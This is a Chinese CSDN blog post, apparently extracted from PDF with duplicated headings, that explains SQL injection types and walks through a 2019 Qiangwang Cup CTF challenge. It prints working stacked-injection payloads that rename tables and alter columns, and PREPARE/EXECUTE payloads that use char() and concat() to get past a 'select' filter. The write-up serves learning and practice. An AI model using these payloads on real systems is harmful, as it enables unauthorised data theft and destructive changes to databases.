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一丶一丶Sql注入简介注入简介

        Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析
执行进行的攻击，它目前黑客对数据库进行攻击的最常用手段之一。

二丶二丶sql注入详解注入详解

        当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求，如果权限验证通过就会执行 Sql
语句。

这种网站内部直接发送的Sql请求一般不会有危险，但实际情况是很多时候需要结合结合用户的输入数据动态构造
Sql 语句，如果用户输入的数据被构造成恶意 Sql 代码，Web 应用又未对动态构造的 Sql 语句使用的参数进行
审查，则会带来意想不到的危险。

        sql又叫又叫Structured Query Language名为结构化查询语言。名为结构化查询语言。

        在我们的应用系统使用sql 语句进行管理应用数据库时，往往采用拼接的方式形成一条完整的数据库语言，
而危险的是，在拼接 sql 语句的时候，我们可以改变 sql 语句。从而让数据执行我们想要执行的语句，这就是我
们常说的 sql注入

Sql 注入带来的威胁主要有如下几点：注入带来的威胁主要有如下几点：

猜解后台数据库，这是利用最多的方式，盗取网站的敏感信息。

绕过认证，列如绕过验证登录网站后台。

注入可以借助数据库的存储过程进行提权等操作

三丶三丶sqli-labs 

sqli-lab是一个印度的程序员写的，一个用来学习sqli的一个游戏教程

https://blog.csdn.net/m0_55771794
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0_55771794/article/details/118636134


鉴于之前已经搭好了靶场，那我们就直接进入主题吧！

ps：若还没有搭建的，可在CSDN上自行搜索方法等等。

注意，本文章偏向回忆性，因为之前已经做过了一些题，但是搞忘了。注意，本文章偏向回忆性，因为之前已经做过了一些题，但是搞忘了。

四丶四丶sqli的分类的分类

关于sqli有哪些分类

基于从服务器接收到的响应基于从服务器接收到的响应
        1.基于错误的 SQL 注入
        2.联合查询的类型
        3.堆查询注射
        4.SQL 盲注
                1.基于布尔 SQL 盲注

                2.基于时间的 SQL 盲注
                3.基于报错的 SQL 盲注

基于如何处理输入的基于如何处理输入的  SQL 查询（数据类型）查询（数据类型）
•基于字符串
•数字或整数为基础的
基于程度和顺序的注入基于程度和顺序的注入  ( 哪里发生了影响哪里发生了影响  )
一阶注射
二阶注射
        一阶注射是指输入的注射语句对 WEB 直接产生了影响，出现了结果；二阶注入类似存
储型 XSS ，是指输入提交的语句，无法直接对 WEB 应用程序产生影响，通过其它的辅助间
接的对 WEB 产生危害，这样的就被称为是二阶注入 .
基于注入点的位置上的基于注入点的位置上的
        通过用户输入的表单域的注射。
        通过 cookie 注射。
        通过服务器变量注射。 （基于头部信息的注射）

五丶真题实践五丶真题实践

方法一方法一 堆叠注入与重命名堆叠注入与重命名

这是2019强网杯的一道sqli 

当尝试输入1'时，得到错误信息，于是从中可以知道使用 '' 可以进行语句的闭合

使用联合查询，且咱发现只有两列，从反馈来看，这好像是过滤了一些字符



因为有错误反馈，所以我们试试基于错误的盲注,但是只能得到一点点消息。

 在网上查阅一番后，我了解到了堆叠查询

堆叠查询可以使用多条SQL语句，语句之间用“ ；；”隔开

当使用mysqli_multi_query（）函数，会对传入数据进行一个预处理操作，所以不会存在堆叠注入的问题。

于是，不能用select的话，利用show databases来查看数据库

 查tables时



words表中的内容为

 进入一串数字的那个表看看，可以发现我们已经找到了flag，现在想办法把它弄出来

中和以上的信息，我们可以判断这个提交就是在表中查询数据，id和data，从words中选取，我们将words改为
其他的，然后将数字表名改为words，flag改为id,相当于把使用的表改为flag所在的，然后输出flag的内容，



-1';
rename table `words` to `word`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
show columns from words;--+
# ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);

最后这样就可以得到flag啦！

 

方法二！预处理语句与堆叠注入方法二！预处理语句与堆叠注入

这是在其他博主看来的，所以作为拓展与分享。

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句

运用到了char（）函数

CHAR()解释每个参数n为一个整数，并返回包含这些整数的代码值中给出的字符的字符串。NULL值被跳过。

char(115,101,108,101,99,116)<----->'select'

可以直接使用可以直接使用char语句语句

1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#

也可以使用也可以使用concat的拼接来绕过对于的拼接来绕过对于select的过滤的过滤

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

由于不太熟练，借鉴了一些由于不太熟练，借鉴了一些wp，如有思路不正确之处，以及细节问题，希望大家指正，之后呢也会不定，如有思路不正确之处，以及细节问题，希望大家指正，之后呢也会不定

期的分享一些题的期的分享一些题的wp，或者一些学习经验，希望和大家一起成长！，或者一些学习经验，希望和大家一起成长！
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